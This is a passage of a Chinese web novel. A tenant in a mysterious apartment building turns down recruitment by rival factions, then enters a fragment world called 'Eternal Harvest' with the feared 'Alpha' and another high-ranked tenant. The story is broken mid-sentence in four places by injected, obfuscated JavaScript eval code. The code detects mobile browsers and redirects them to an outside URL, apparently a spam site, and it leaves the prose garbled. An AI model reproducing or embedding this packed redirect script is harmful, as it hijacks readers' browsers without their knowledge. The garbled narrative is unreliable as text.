重点自然是“联谊”,只是参加的租客也并不多。时安之那天去凑了个热闹,舞厅的空间只比大堂略宽敞,四面墙纸都是浊黄暗色,一只老式录音机蜷在角落里,放着旧世界的歌。他留在角落观察了一下,前来参加舞会的不过十数对,大多是黑背心认识的榜单中后位的老租客,偶尔也有被结盟的老人带来的新人。理所当然地,「阿尔法」没有出现。 洗衣房和水房都在地下室一层。据说公寓自己的供水系统出现问题时,可以去水房打水,不过平时这里的使用率很低,时安之去过几次,都没有遇上其他人。 四楼的左侧都是租客的公寓,右侧则锁着门。时安之向旁人打听,里面似乎是一个温室花园,需要某种权限才能进入。而从五楼起,时安之就无权上去了——那是高级租客的居住区。 整体来说,楼里的租客密度似乎并不太大,穿梭在长廊之间时,几乎是遇不到邻居的。只有前往公共区域,才会见到旁人的身影。 所以,在这七天中,时安之的“牌桌”也就固定在了这些公共区域。 在常平之后,找上他的第二个人,是个衣着体面、笑容热情的年轻男人,穿着白衬衫和剪裁齐整的西服。他在舞厅门口拦下时安之,自称来自楼内一个规模相当大的租客合作协会,提出要和他签订一份合作协议。 “我们协会的待遇非常优厚,凡入会者,都能得到协会大量的资源供给和信息共享,另外还提供顶级道具的租赁服务。目前楼内入会的人数已经达到了数十人,对于各个碎片世界的通用情报掌握都达到了很高水准。”西服男说得舌灿莲花,“时先生只要加入我们协会,会长可以提供顶级的合约,任务收获三七分成,我们取三即可。” “这么好的事呀。”时安之被堵在门口,也不急,自己端着一杯饮料慢慢地喝,“我能不能问问,这数十人里,排名在新榜前十的有几个?” 西服男的笑容微微僵硬:“……实不相瞒,目前协会中排名最高的成员在新榜第十五位。虽然暂时没有前十的顶尖高手加入,但我们协会中排名二十到三十的中坚力量相当雄厚,整体实力非常强劲。您看是不是……” “原来如此,理解了。” 时安之点了点头,语气依然温和,“也就是说,你们掌握了大量的通用情报,却始终无法突破前十名的门槛。” “我是不是可以认为……协会所提供情报的上限,大概也就能帮助会内成员稳定在二十到三十的名次?” “您觉得,这样的情报对我来说有用吗?” “……” 西服男顿时陷入了沉默,但很快又再度挂回那张热情的笑脸:“时先生,您非常自信,这是很好的品质。但本轮租期的新榜只更新到第一次,根据往日经验,新榜名次产生较大跌落也是常有的事。有的新租客在第一个世界凭借运气闯入了前十,在第二个世界甚至没能活着出来——所以劝您,现在还是别把名次看得太重的好。” “把名次看得太重的,似乎不是我吧。”时安之微笑,“如果我在榜单上籍籍无名,您还会站在这里跟我费口舌吗?” “——更何况,我想那个往年新榜都蝉联的第一名,今年应该不是因为运气太差,才被人挤到第二的吧。” 听到这里,西服男的脸色彻底变了,似乎没想到时安之敢说出这样冒犯“那一位”的话。他张了张嘴,面上精心维持着的笑容已经完全消失,只剩下冰冷的裂痕。 “看来……时先生是打定主意要单打独斗了。” 他最终干巴巴地说:“只能祝愿您的运气,能一直这么好下去。” 时安之对他举了下杯,笑眯眯地绕过他离开。 接下来,牌桌上的第三和第四个人,分别出现在餐厅和楼梯上。 第三位是个女士,四十来岁的样貌,发型成熟干练,戴着眼镜,态度端庄地对他问好。她自称名字为“晴”,时安之回忆了一下,这个名字出现在新榜的第十七名。 也算是个厉害的人物。 “时先生,久仰大名,幸会。”晴的开场白简洁明了,没有多余的寒暄。她向时安之递过来一张触感特殊的卡片。 时安之接过来,上面只有一个房间号,505。 “我们听说您拒绝了「曙光协会」。”晴注视着他,镜片后的目光不带一丝情绪,“我们的组织不像他们那样,只付出空洞的承诺。我们提供的是完全公平的等价交换。当您遇到无法解决的难题时,可以考虑来找我们,这里也许会有解决的方案,或是适用的信息。当然,前提是您能支付我们需要的价格。” 时安之心说这楼里的居委会还真是五花八门,不过这一次的听上去要合情理多了。他把卡片收起来,对晴点一点头,友好道:“谢谢您,我了解了。” 随后,第四个坐上牌桌的家伙,更让时安之哭笑不得。 “迷途的羔羊,你可感知到那伟大的道路?那远方的创造者?与祂无声的教诲?” 在通往三楼的楼梯上,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283934|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身披长袍,神情异常肃穆的男人挡住了他。男人手里捧着一本用废弃传单、票据和说明书手订的书,用咏叹调般的语气,居高临下地对时安之宣讲。 时安之:“?” 时安之:“抱歉,什么伟大套路?” “不是套路,是道路。你竟未曾听说过「引路人」的存在?”长袍男恼怒。随即脸上又浮现出某种怜悯神色: “真是太不幸了……「引路人」,是祂创造了远方,缔造了希望……祂就是可能性的化身……是祂在废墟世界的断壁残垣之间,为我们铺就了一条能够通往彼岸的道路。圣书有言,只有信仰「引路人」,才能在那预言中的未来,获得一张去往远方的船票。否则,即使留在这里,无论收集多少印章,结局也只是永久无期限地等待,再孤独地死去……要知道,祂冷酷而公正,绝不会怜悯一个异教徒……” 时安之:“……” 我靠,这楼里还有邪教。居委会不管的吗? “「引路人」是吗?我知道了,麻烦让一让,现在挡路了。”惹不起就躲,时安之对那一堆抽象的宣讲词充耳不闻,急匆匆地绕道而行。 至于第五个访客,也是最后下场的家伙,显然因为等了太久,略略有点暴躁。 从地下室上到一楼的楼梯上,灯火摇曳,一个肌肉虬结的壮汉带着两个同伴,直接堵住了他的去路。这个人时安之倒不太陌生,新榜第三十名,绰号叫“铁拳”。 “小美人,原来你在这儿啊。”铁拳一手捏着拳头,骨节咔吧作响,一边咧嘴对他露出一个难看的笑容,“听着,下个任务,你跟我们一起进去,组队通关。到时候好处自然少不了你的。要是拒绝的话……” 时安之叹了口气,他实在有点累了。“拒绝如何?” 铁拳开始狞笑:“拒绝的话,碎片世界里再让我遇上,就让你……” “如果不准备现在揍我,那就等遇到了再说,好吗?”时安之打断他,“我体格弱,特别菜,一点儿也没法还手。我保证,你可以想怎么打就怎么打。” “啊?”铁拳愣了一下,显然之前从没遇到过这样的回答,一时之间,都不知道怎么把话续下去。 “行吗?而且,我说不定根本活不到那个时候。你还不知道吧,那个——叫什么「阿尔法」的,也正等着要找我的麻烦呢。” 时安之坦诚表示:“所以我本来就没有多少日子好活了,要珍惜每一天,活在当下嘛。” “现在,我准备回去睡觉。再见咯。” 铁拳自从听到「阿尔法」三个字开始,就呆愣愣张着嘴,好像有一堆狠话卡在喉咙里,吐不出来又咽不下去。他看着时安之,脑子完全乱掉了。 “……操。”过去好半天,他只憋出这么一个字。 时安之回以微笑,礼貌说了声“借过”,从三个人中间挤过去,从容地走上了楼梯。 一直到他的身影消失在楼梯拐角处,铁拳才回过神。他和身旁的同伴对视,望着空荡荡的楼梯口,愤愤道:“……疯了吧,这他 | 妈到底哪儿来的祖宗?” 16. 永恒丰收(1):狭路相逢 【0】 【00:10:05】 七日的倒计时进入了最后环节,时安之取出怀里系挂的怀表,低头看了一眼。表盘正在微微发热,上方第二个刻度的位置已经开始闪烁起橙色的光。 进入第二个碎片世界的时间,就要到了。 倒计时逐渐逼近五分钟,103公寓的门口传来了熟悉的高跟鞋声。门很快被轻轻拉开,越红站在门外,依然是提着那盏风灯,开口道: “二位的时间快到了,我来送送你们。” ......就不能换个台词吗?听着有点不吉利。时安之心想。 “说起来,我有点好奇,你是可以同时出现在很多个房间对吗?”时安之问越红,“你会分身术?” “我不会分身术。我只是一个房东而已。”越红淡淡道。 “哦......”时安之点头。 越红侧身,让开通往走廊的路,做出了一个请的手势。风灯在她手中散发出稳定的昏黄光晕,却完全无法驱散长廊那种深不见底的幽暗。 “来吧,穿过这条走廊。”她说,“第二个碎片世界就在尽头等待你们。” 时安之把怀表放回风衣内袋,迈步而出,伍九思和他保持了一定的距离,也随他走出公寓。 这条走廊似乎比记忆中还要黑暗,两侧的房门在流动的灯光下变得扭曲,像油画上融化开的大堆油腻色块。脚下柔软的地毯吸收了所有脚步声,只剩下人的呼吸和心跳,在寂静中慢慢地鼓噪起来。 就在倒计时归零的瞬间—— 【0】 【00:00:00】 前方走廊的尽头,原本只能看见无止尽虚无的地方,骤然出现了一片旋转的雪白色。 时安之感到一股温和的牵引力,从那片白色之中悠缓地传递过来。他不由得再度回头看了一眼,越红站在原地,还是用那种古怪的眼神,直勾勾注视着他,酒红的短发、昏黄的灯火都在气流中绰绰地飘动。 下一秒,他的意识被彻底抽离。 风衣的衣摆飞起来,时安之经历了一次骤然的下坠。紧接着,无数的色块、声音、情绪就仿佛决堤的洪水,汹涌滚入他的感知之中。 在洪流彻底淹没他之前,一个冰冷的意念清晰出现在他的脑海里: 【碎片世界加载完毕......】 【欢迎103号公寓租客「时安之」,第二个碎片世界「永恒丰收」已经为您开启。】 ...... 时安之睁开眼睛,面前是一堵灰色的砖墙。 没人告诉过他传送会有点头晕啊。 第一次就没有这样的情况,难道是这个世界的距离比较远的缘故么?他按了按自己的太阳穴,转身,想看一看周围的环境。 结果一回头,正对上了一支冰冷的枪口。 枪口是漆黑的,枪身很长,枪管的形状非常优雅,泛着一种诡异而生硬的冷光,是他从来没有见过的材质。时安之的视线往旁一瞧,枪后的这张帅脸倒是有点眼熟。 ——谁来着? 枪身发出极轻微的咔嗒一声,子弹上膛。 ——想起来了。 「阿尔法」。 回忆起这张脸和这个名字的瞬间,时安之的冷汗就全部冒出来了。 夜路走多了遇到鬼,居然上来就跟这个家伙刷新到一处,倒霉二字根本无法形容他现在的处境,他上辈子是做过什么伤天害理的事情吗?乱扔香蕉皮?虐待小朋友?还是砸坏花草树木了? 短短两秒的时间,时安之脑子里闪过上千条思绪,他几乎要以为自己已经在过临终之前的走马灯了。 不行,还是再挣扎一下吧。 死于倒霉多亏啊。 “......季先生。”时安之迎着那个黑洞洞的枪口,慢慢举起双手,“我认为,在还没有弄清楚这个世界的规则之前,先处理个人恩怨不是什么明智的行为。” 枪口背后,那双漆黑的眼睛古井无波地注视着他。 “个人恩怨?” 季随山第一次对他开口,嗓音低沉,语气里并没有什么情绪——没有时安之想象中的怒火或是冰冷。什么都没有。 “我从来不处理个人恩怨。” 时安之的心顿时沉了下去。 不处理个人恩怨,也就是说,现在所发生的一切并不是源于他那天在大堂里的行为。不是因为时安之做了什么可恶的事,说了什么可恶的话,导致对方对他心生怨恨,要杀之而后快。 而是因为......因为他的客观存在。 因为他是新榜的第一名。 就像黑背心那天所说,黑暗中乍现的一根火柴,在亮起来的瞬间就将其扑灭,是损失最小的。 与其花费时间观察、评估和试探一个未知新人的情况,直接将这个新人抹杀在他能够造成影响之前,显然才是更实惠的方案。而且,时安之毫不怀疑,类似的事情眼前这个男人已经做过很多次了。 毕竟这是最冷酷,也最有效的做法。 但是...... “其实你并不想在这里杀掉我吧?季先生。”时安之突然说。 枪口一动不动。 然而那双漆黑的眼动了,视线微微偏移,原本透过瞄准镜扣住他眉心要害的目光,现在正正对上了时安之的眼睛。 “如果你要杀我的话,第一时间就开枪了,我又跑不掉。” 时安之镇定地和他对视。 “你有一些犹豫。”他继续说,“是不是因为,之前从来没有发生过这样的事?从来没有新人,能在那个榜单上超越你?” “你也很好奇,我到底有什么特别的地方,对吗?” 时安之把举起来的双手慢慢放下来伸向两旁,示意自己身上没有任何地方可以藏武器。他看着季随山:“如你所见,我是个菜鸟,根本就没有战斗力。你可以在任何时候取走我的命,不用急在这一时。” “但是,你想要的答案......” “恐怕只有在我活着的时候才能得到。” 话音清脆落下,冰冷乌黑的枪口依然纹丝未动。 季随山的视线,缓缓从时安之脸上回到了瞄准镜内。 “是吗?” 他冷冷道。 然后,手腕微动,扳机扣下。 一颗黑色的子弹,悄无声息地破膛而出。 时安之心头猛跳,后背刹那一片冰凉,在同一瞬间就闭上了眼睛。这回他再无别的办法,只能等着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283935|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑门开花的那一刻。 但是,巨响只是贴着他的耳廓炸开。 子弹堪堪擦过他的侧颊,射入了紧挨着他的那面灰色砖墙。 时安之身体僵住。 没有第二枚子弹。好半晌,他才重新放松下来,浑身的力气似乎都在这一时刻卸掉了。 ——阿尔法不可能射偏。 ——他活下来了。 再抬眼时,黑色的长枪已经放下。枪身在它主人手中极快地融化,流淌出一道乌黑冰凉的阴影,再于阴影中折叠、延展,重组形态。最终,狙击枪变成了一把修长而挺拔的刀。 季随山把刀背回身后,刀镡与皮鞘扣合,发出一声轻响。 “你......” 他动了动嘴唇,似乎准备要说点什么。 也就在这时,不远处突然传来另一个声音,出人意料地打断了他: “......那边的二位,达成休战协议了吗?” 这声音虽带着点迟疑,却显得相当的镇定平静。时安之和季随山同时转头,他们所在的地方似乎是一条砖石铺成的小巷,一个高挑的青年正站在巷口位置,阳光从他背后照过来,让他的存在感显出几分不真实。 这青年的面容俊秀,一头长发束在脑后,戴着副细金边眼镜。看上去简直就是那种最为无害的文艺男。 见两个人都向他投去目光,文艺男举起手中的东西——一只藤编的面包篮——苦笑了一声。 “很抱歉打断你们,但我刚弄明白了这个世界的规则。”青年道,“所以,不管二位决定怎样解决矛盾,我都建议你们速战速决。在这个世界里,我们最好是不要浪费时间。” 时安之闻言,立刻低头打开了自己的怀表。 怀表散发出金色的光芒,周身如燃烧一般炽热。在他掀开表壳的瞬间,表盘上就有一排小字滚动着跳了出来: 【碎片世界「永恒丰收」欢迎您的到来。】 【请穿越“永恒丰收”的庆典,进入位于城镇中心的恩典教堂。】 【您已获得道具「面包篮」*1,「法棍面包」*7。】 金光一闪,一只和青年同款的藤编面包篮出现在时安之脚边,里面满满当当地塞着七根长面包。 【请注意:每隔120分钟,您都需向巡逻的征税官上缴一根「法棍面包」。未能按时缴纳面包者,将受到庆典卫队的永久驱逐。】 【第一次缴纳倒计时:01:42:37】 “......” 时安之弯腰把面包篮提起来,叹了口气。 就不能有一次任务没有倒计时么? 他抬头看去,季随山显然也接收到了任务讯息,脚边多出了一只一模一样的面包篮。这个甚至还扎着天蓝色蝴蝶结的藤编道具,和「阿尔法」的风格极为不搭,虽然这人面无表情毫无波澜,但看起来多少还是有点滑稽。 不能笑。时安之对自己说,然后回头看向那个突然出现在巷口的青年。 “请问,你是?” “其实,我和你们一样,都是被刷新在这条巷子里的。只不过二位刚才太忙了,才没注意到我。”青年提着面包篮子,再度对他苦笑。 “正式自我介绍一下,我叫李非鹤。” 17. 永恒丰收(2):污泥怪物 “你就是李非鹤?等等......” 时安之看着这张脸,惊讶道:“我是不是在舞厅见过你?” 李非鹤扬了一下眉毛,有点迷茫地微笑:“我确实在舞会那天到场过,不过那儿没什么意思,所以喝了点东西,很快就离开了,没有待多长时间。” “看来,时先生的记忆力相当好啊。” 倒不是因为时安之对人脸过目不忘。而是因为那天,这个长发青年就自己孤零零坐在一边,远离舞池和音乐的喧哗,手里握着一杯饮料默默地看着。他穿的一身白色,远远望去,好像一缕停靠在人世之外的幽魂。 这才让时安之留意到了他。 一个租客来到舞厅,却只是看着,什么都不做。他的目的一定和自己一样。 他在观察。 通过舞会这样复杂的环境,观察楼内的生态,观察每一个入场租客是什么样的性格,有什么样的举动。 这是一个清醒而理性的聪明人。如果他也是新来的租客,他具备的潜质无疑是巨大的。 只不过,时安之没想到,这个青年居然就是新榜第三的李非鹤。 他更没想到,这个碎片世界居然会直接把他们三个人刷新到同一条巷子里。 这个巧合,实在不太像是巧合。离开这里之后,他恐怕需要调查一下碎片世界抽取租客的具体方式和原理,否则每一次都在开局时和某个新结下的仇家狭路相逢,对时安之来说有点太心惊肉跳了。 “聊天结束了么?” 季随山突然出声。 时安之转头,看到季随山正注视着巷口外的方向,阳光照进来的地方。他眉头微微拧着,道:“外面有人过来了。” 说完这句话,他也没理会有没有人回应,直接往巷子外走去。 “?” 李非鹤对着那背影发愣。但时安之的反应很快,迅速道:“快,我们跟上去。” “要跟上去吗?”李非鹤有点犹疑地看他,“我没看错的话,刚才「阿尔法」难道不是......想杀了你么?现在他自己先一步离开了,为了安全起见,我们另外找条路躲开,是不是更好些?” “他如果真要杀我,跟他玩躲猫猫可不是什么好主意。他那把刀再变成枪,远距离狙击,我俩还隔着五百米呢,脑袋就忽然没了。”时安之说。 “反正都分到一块儿了,索性就黏上去,一起走。人死不过头点地,但有机会的话,总要争取一下以后嘛。” 还有更多的话,时安之按在心里,没说出来。 和这个「阿尔法」一起通关,要是真能活着出来,所获得的收益和情报量都将是前所未有的巨大。人为财死鸟为食亡,在这么大的回报面前,一点赌博的勇气自然是必要的。 李非鹤不知是不是也想到了这点,思考了几秒,这次很快同意了。两个人不再犹豫,快速跟出巷口,去追先一步离开的季随山。 这个世界的空气里弥漫着一股谷物的酸涩味道。小巷之外就是石板路铺成的主街道,林立着层层叠叠歪斜的木石房屋,古怪的是,房屋上的每一道窗户和门廊,都钉着几束枯萎的谷穗,似乎是某种统一的装饰用品。 和这些宁静平和的画面格格不入的,则是一片丑陋的污泥地。它正如一条硕大的伤疤那样,横亘在道路正中,缓慢地冒着气泡。 时安之往街道两头看去,这条主街道上竟然有不少这样的污泥水塘,大大小小各有不同,凌乱地分布在石板路上。 季随山就站在最近也最大的污泥塘旁边,没有走远,也没有说话,只是隔着这个庞大的污泥塘,紧紧盯着街对面的另外一条巷子。 在看什么? 时安之马上就知道了。 伴随着轻微的铃响,一个穿着金边制服的男人,怀里紧搂着一个巨大的面包篮,正急匆匆地从巷子里跑来,靴子在石板上叩得啪啪作响。那个巨大的面包篮里装满了沉甸甸的法棍面包,数量明显远多于他们每人分到的七根。 金边制服跑出巷子,立刻就看见了站在街边的季随山。他气势汹汹地大叫了一声:“什么人?我是这里的征税官,马上报上名来!” “......”季随山看着他不吭声。 “不愿意上报姓名?必然是可疑人员!”金边制服被激怒了,整张脸都皱到了一处,右手立即摸向腰间的佩剑,开始向他们这边靠近,“都站在那儿别动!” 他应该是想避开污泥塘,但那样做就需要绕不少路。时安之看了下他们之间的距离,又看了看背后的巷子——逃跑大概还来得及。 但是,不跑。 先看看大佬想干什么。 在金边制服离他们只有几步之遥的时候,季随山从背后拔出了那把漆黑的长刀。刀鞘和刀身擦出清脆的铮声,时安之缩在一边,心说哦,是要来硬的。 然而,还没等他亲眼见证大佬的战斗力,金边制服脚下先冒出了突兀一声“咔嗒”的轻响。 他靴子踩到的地方,那块看似坚实的石板边缘猛然松动,一块碎石滚落。金边制服全部注意力都放在了眼前三个可疑分子身上,完全没留意脚下,他脚下一滑,为了保持平衡,下意识就向旁边迈了一步。 “噗嗤!” 他穿着锃亮皮靴的右脚,一下子结结实实地踩进了那片污泥里。 脚踩进去的刹那,金边制服就面色大变。好像遭遇了什么恐怖到极点的事情,他两节手臂慌乱地乱挥,连怀里抱着的面包篮也一并被扔飞。 藤编篮子在空中划过一道弧线,几根干硬的法棍面包随之到处洒落,落进泥沼中,摇晃着漂在表面上,打着诡异的回旋。 季随山注视着,眉头都没动一下,只是安静地后退了半步,避开飞溅的泥点。 再看那金边制服,已经遭遇了比面包更悲惨的命运。他那只脚踩进污泥之后,竟然就没能拔 | 出来,污泥仿佛某种有生命的存在,狠狠咬住了他的皮靴。再一点点向上,咬住他的小腿、膝盖...... 转眼之间,金边制服的半个身子都沉进了污泥里。 “这里的污泥塘不能踩。”李非鹤见状,迅速做出了总结。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283936|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯,看看他会怎么样。”时安之关注着金边制服接下来的命运。 果然,当污泥淹到金边制服的胸口时,进一步的变故发生了。 他的挣扎变得微弱,喉咙里发出被泥浆灌满的,“嗬嗬”的窒息声。紧接着,金边制服的身体也开始出现了诡异的变化——皮肤的颜色逐渐转暗,质地变得粘稠,渐渐与污泥无异;五官也在泥浆中融化,四肢就像垂落的泥浆那样,被某种隐形的力量一点点向下拉长...... 他终于不再下沉,缓缓从污泥塘中站了起来。 近两米高的庞大身型,浑身都滴落着恶臭黏腻的黑水,原本是眼睛的位置只剩下两个空洞。 ——怪物。 短短十几秒的时间,一个活人就在他们眼前,变成了一头污泥怪物。 金边制服——虽然已经完全看不出制服存在过的痕迹——用两个眼洞凝视着他们,那条粘连得难以听清发音的声带,低沉地吼叫出一个词: “面......包......” “面包?”李非鹤低头,看向自己怀里的面包篮。 “面......包......” 他再抬头时,怪物一条粗壮漆黑的手臂已经向他探过来,直直朝他手上的面包篮抓去,转眼间距离拉近,只在咫尺之余。 李非鹤顿时大惊,急忙后撤,立刻就准备钻回刚才刷新的巷子中去。怪物半个身子还在污泥中,转化尚未全部完成,行动仍然不便,这一抓未能达到目标,转头就抓向李非鹤身边最近的时安之。 “面......包......”它低沉地嘶吼。 “它是要抢我们的面包!”李非鹤在身后喊,“快躲开!” 他提醒出声的瞬间,怪物的手臂就已经到了时安之跟前。时安之脑子反应虽快,身体机能要跟上却有点力不从心,下意识也往后一仰,整个人几乎跌坐在地,冰冷粘稠的恶风就堪堪擦着他的鼻尖掠过。 呕,这味道好恶心。 不过这东西速度不快,应该不会造成太大威胁。 时安之快速吐了口气,一手紧紧抓住自己的面包篮,另一只手撑着地面准备再往后撤。李非鹤适时地从身后递来一只手,将他的胳膊一把拉住,用力从地上拽了起来。 两个人一先一后,都重新钻回了巷子里,左右各探出一个头,小心翼翼看着外面的进展。时安之感到风衣里揣着的怀表在微微抖动,还以为有什么别的大事发生,百忙之中取出来看了一眼,只见表盘上闪烁着几个小字: 【您已接触到可交互NPC。】 时安之:......已经交互过了,这种事倒也不用你说。 “时先生,你看。”李非鹤在一旁提醒他。时安之把怀表放回去,抬头再次看向巷外。 那怪物失了两个目标,最终还是把视线钉在了依然站在原地的季随山身上。 只不过,这一次它似乎被激怒了,速度变得更快,喉间连连挤出疾声的低吼,两臂一展,如一阵迅疾的黑风,直直便向着污泥塘边那个男人扑过去。 18. 永恒丰收(3):交易市场 季随山站在原地,连动作都未曾改变,只是轻微地侧了侧头,避开了飞溅过去的泥点。 他注视着面前向他逼近、身形逐渐放大的污泥怪物,眼里没有丝毫波动,既无恐惧也无厌恶。就如同在看着一件已经看过千万次的死物一般,神色中唯有一片麻木的冰冷。 怪物冲过了安全距离,两臂和他几乎只有方寸之差。季随山终于在这时动了,非常微小的一个动作,侧过身子,手臂仿佛只是随意地挥过。 长刀的刀光一闪而逝。 那把刀明明是纯粹的黑色,但刀光显现之时,还是展现出令人目眩神迷的色彩。时安之下意识地眯了下眼睛,再睁开时,刀已落下,刚才的一切都像是错觉一样猝然结束。 怪物的动作被凝滞在半空。 它蠕动着僵硬的面庞,发出“啊,啊”的响声,一条锋利的黑线横亘在它的脖颈上。 紧接着,头颅坠下。 “噗……” 水囊破裂一般的声音响起,无头的躯体轰然坍塌,粘稠的泥浆内脏随着哗啦一声,全部泼洒在石板路上。 愣是把眼前的污泥塘填得更大了些。 “……哇。”李非鹤发出惊叹。 “……好恶心。”时安之表示看得难受。 季随山转过身,目光扫过巷口探出的这一左一右两个脑袋,在时安之脸上略略一停。 依然没带什么情绪,但时安之却觉得这道视线里写满了“不是要让我看答案吗怎么你的答案就是缩到墙后去当乌龟”。虽然知道对方可能并不是这个意思,他还是有点尴尬,轻咳一声,从墙后面走了出来。 “季先生,谢谢。”他低着头很有礼貌道。 谢谢你,你人好,别砍我。 “铮”的一声,黑色的长刀再次入鞘。时安之又悄悄松一口气。 还好还好,这次也没被杀。 “谢谢您帮忙解围,阿尔法前辈。”李非鹤也在旁边跟着道谢。纵使他有点疑惑,季随山明明只是在攻击指向自己时做出了正当防卫的举动,完全没有半分要帮他们两个的意思,究竟为什么要和这人道谢,但是……但是先跟着做吧。 然而他话音刚落,季随山突然猛地抬起了头。李非鹤面色一凛,下意识要后退,就听后者望着前方的主街道,冷冷开了口: “还没完呢。” 下一秒,整齐划一的脚步声从街道那头传来。每双脚都穿着皮靴,步伐极度的统一,听不出究竟有多少人。但很快那声音就越来越响,也越来越近,随即一排穿着同样的金边制服、提着大面包篮的人出现在了街道尽头。 在看到巷口三个人的同时,那支队伍就整齐地停步了。所有的金边制服都转过头,盯着他们,眼神空洞。 “发现可疑人员,曾袭击落单征税官。”领头的一个人用僵硬的声线说。 “我们不是……”李非鹤急忙道。 “可疑人员袭击征税官,必须付出代价。”领头没有一点反应,仍旧继续说。 “刷”地一声,所有的金边制服都抽出了佩剑。 “人有点多。”时安之数了一下,冷静道,“我们最好是撤退,不要在这里浪费太多时间。毕竟任务目标只是抵达教堂而已。” “嗯……同意,先跑吧,路上再具体了解去教堂的路线。”李非鹤响应。 “……”季随山没反应。 时安之和李非鹤对视了一眼,心里都有点紧张,看起来「阿尔法」完全没有听从他们的想法一起行动的意思。按照此前的情报,此人是个绝对的独行侠,从来没见过他有队友,遇到眼前这种情况,恐怕他惯常的做法是……直接杀出去。 他杀出去了,我们怎么办?还是要分路?各跑各的? 李非鹤的眼神已经显示出他的想法:到了这个份上,他还是更愿意自己先撤。 时安之不太赞同。 就目前的观察来看,这个世界虽然有些像是末日前的欧式童话,但并没有童话的天真单纯,反而隐藏着极大的危险性。不管是穿着金边制服的征税巡逻队,还是人踩进污泥塘后转化成的污泥怪物,这些世界线NPC都对租客展现出了一定的攻击倾向。 时安之对自己的战斗力没什么自信,而李非鹤似乎也不是一个体力型选手。此外,李非鹤对于他来说,依然是个突然冒出来的陌生人,他不想把自己的信任完全交到陌生人手里。 能三个人一起走,无论从战斗力的提升还是关系的制衡上看,都是更好的选择。 唯一的问题是,这个战斗力最高的人不愿意跟他们走。 “季先生。”时安之斟酌着开口。 “这些穿制服的人不是刚才那种无理智的怪物,而是规则中提到过的征税官。如果发生直接冲突,即便能赢,也可能引发无法预料的连锁反应,这会让我们的任务变得更麻烦。” “现在最经济的办法,是和我们一起先撤退,了解清楚这个世界的情况再做打算。” 季随山头也没回。时安之以为他根本没听,刚准备更进一步,编点别的理由,却突然被他打断道: “他让你先走,你为什么不走?” 时安之怔了一下,看了眼身边的李非鹤。明明只是表露出了一点要分路先撤退的意图而已,居然就被发现了吗?「阿尔法」察言观色的能力并不像想象中的那么弱啊。 还问我为什么不走? 要听实话吗? “因为对我来说,能带上你一起撤退,也是最经济的办法。”时安之非常诚实地坦白。 “……” 季随山终于转头,用某种难辨情绪的目光看了他一眼。 此时征税官的巡逻队还在渐渐逼近,皮靴的脚步近在咫尺,几乎已经能看清这些NPC一个模子刻出来般的、如出一辙的面容眉眼。 李非鹤盯着那些金白色的身影,焦急道:“他们要过来了!” “怎么样,对我们两个来说都能收益最大化的办法,要不要采纳?”时安之没有去看巡逻队,只是看着季随山,语速加快了几分。 季随山还是没有说话。 但他突然动了。 迅疾如闪电一般——他骤然出手,没有去拔背在身后的刀,而是掐住了时安之的脖子。 “前辈?!”李非鹤惊呼。 “……”季随山的手劲很大,虽然没有下死手,时安之还是呼吸困难,憋得脸色都开始变红。他试图集中思绪,但脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283937|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里混沌一片,完全没办法说出来一个字。 他没想到的是,就在下一秒,季随山忽然又松开了手。 “咳!咳咳。” 时安之双手捂住脖子,脸色由红转白,一阵猛咳。 等他抬头时,看见季随山正垂着眼,以一种难以言喻的微妙神情,盯着自己刚才掐住他脖子的那只手。这还是迄今为止的第一次,「阿尔法」那张结冰似的脸上,出现了一道鲜明的裂痕: 惊讶,诧异,甚至还带着一点……匪夷所思。 “前辈!时先生!”李非鹤又在旁边喊,“我们真的必须得走了!” 巡逻队逼至眼前,领头的佩剑已经挥落,咫尺之遥,几乎就要斩到他们脚下。 剑光闪过的瞬间,季随山猛然从那种古怪的停滞中惊醒。他不再盯着自己的手,而是换了极度复杂的眼神,重新看了时安之一眼。 “走。” 他压根就没理会已经冲到跟前的巡逻队,而是一把抓住了时安之的手腕,折身朝着主街道的反方向冲去。 时安之还没缓过气,捂着脖子,一头雾水。就这样被拽着转眼冲出去几十米。 